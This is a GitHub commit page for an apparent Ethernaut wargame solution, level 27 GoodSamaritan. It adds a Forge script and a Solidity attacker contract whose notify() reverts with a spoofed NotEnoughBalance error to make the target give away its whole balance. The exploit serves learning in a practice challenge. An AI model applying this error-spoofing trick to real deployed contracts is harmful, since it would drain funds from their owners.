Skip to content

Commit

Permalink
complete 27-GoodSamaritan
Browse files Browse the repository at this point in the history
  • Loading branch information
tannerang committed Jan 20, 2024
1 parent 1bb7702 commit 20324be
Show file tree
Hide file tree
Showing 2 changed files with 30 additions and 2 deletions.
5 changes: 3 additions & 2 deletions script/solutions/27-GoodSamaritan.s.sol
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import {Script, console2} from "forge-std/Script.sol";
import {EthernautHelper} from "../setup/EthernautHelper.sol";

// NOTE You can import your helper contracts & create interfaces here
import "../../src/27-GoodSamaritanAttacker.sol";

contract GoodSamaritanSolution is Script, EthernautHelper {
address constant LEVEL_ADDRESS = 0x36E92B2751F260D6a4749d7CA58247E7f8198284;
Expand All @@ -16,8 +17,8 @@ contract GoodSamaritanSolution is Script, EthernautHelper {
address challengeInstance = createInstance(LEVEL_ADDRESS);

// YOUR SOLUTION HERE


GoodSamaritanAttacker goodSamaritanAttacker = new GoodSamaritanAttacker(challengeInstance);
goodSamaritanAttacker.attack();

// SUBMIT CHALLENGE. (DON'T EDIT)
bool levelSuccess = submitInstance(challengeInstance);
Expand Down
27 changes: 27 additions & 0 deletions src/27-GoodSamaritanAttacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

interface IGoodSamaritan {
function requestDonation() external returns(bool enoughBalance);
}

contract GoodSamaritanAttacker {
address public challengeInstance;
error NotEnoughBalance();

constructor(address _challengeInstance) {
challengeInstance = _challengeInstance;
}

function attack() external {
IGoodSamaritan(challengeInstance).requestDonation();
}

function notify(uint256 amount_) external {
if (amount_ == 10) {
revert NotEnoughBalance();
} else {
true;
}
}
}

0 comments on commit 20324be

Please sign in to comment.